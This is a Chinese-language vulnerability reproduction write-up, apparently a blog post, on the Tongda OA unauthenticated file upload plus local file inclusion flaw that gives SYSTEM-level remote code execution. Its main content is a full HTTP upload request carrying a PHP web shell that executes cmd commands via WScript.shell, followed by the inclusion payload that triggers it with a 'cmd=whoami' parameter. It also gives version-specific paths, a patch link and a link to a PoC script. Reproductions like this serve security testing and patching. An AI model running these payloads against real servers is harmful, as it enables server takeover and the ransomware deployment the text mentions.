通达OA 任意文件上传+文件包含导致RCE漏洞复现
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。
该漏洞被黑产利用,用于投放勒索病毒。在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。
0X01漏洞概述
此漏洞是由未授权上传和本地文件包含两个漏洞组合而形成的rce漏洞文件上传地址:http://localhost:801/ispirit/im/upload.php本地文件包含地址:http://localhost:801/ispirit/interface/gateway.php这个地址我看有的复现地址不一样,是/mac/gateway.php,可能和操作系统有关,需要注意下
0X02漏洞影响版本
tongdaOA V11tangdaOA 2017tangdaOA 2016tangdaOA 2015tangdaOA 2013 增强版tangdaOA 2013
0X03环境搭建
下载地址:
链接:https://pan.baidu.com/s/1uFmGGvwiYgjxEXH5IQ9lJQ
提取码:6qp9
安装:将下载的exe下载安装即可。(可以自定义端口,默认未80端口。)
安装完成界面:
0X04漏洞复现
直接上传:
访问任意文件上传漏洞路径/ispirit/im/upload.php
使用Burp Suite抓包发送小马数据包可以看到成功上传
POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1:801
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
![](https://img2020.cnblogs.com/blog/1987301/202003/1987301-20200327160245856-391662043.png)
使用Burp Suite抓包发送,构造文件包含数据包并执行命令。
json={"url":"/general/../../attach/im/2003/815199247.jpg"}&cmd=whoami
命令执行成功,并且权限是system权限
注:有些版本gateway.php路径不同
如2013:
/ ispirit/ im/ upload. php
/ ispirit/ interface/ gateway . php
2017:
/ispirit/ im/ upload. php / mac/ gateway. Php
本文使用的v11版本路径为
/ispirit/im/upload.php
/ispirit/interface/gateway.php
0X05修复建议
更新官方补丁
http://www.tongda2000.com/news/673.php
也可以使用
0X06poc工具
https://github.com/fuhei/tongda_rce下载py脚本验证,使用方法如下: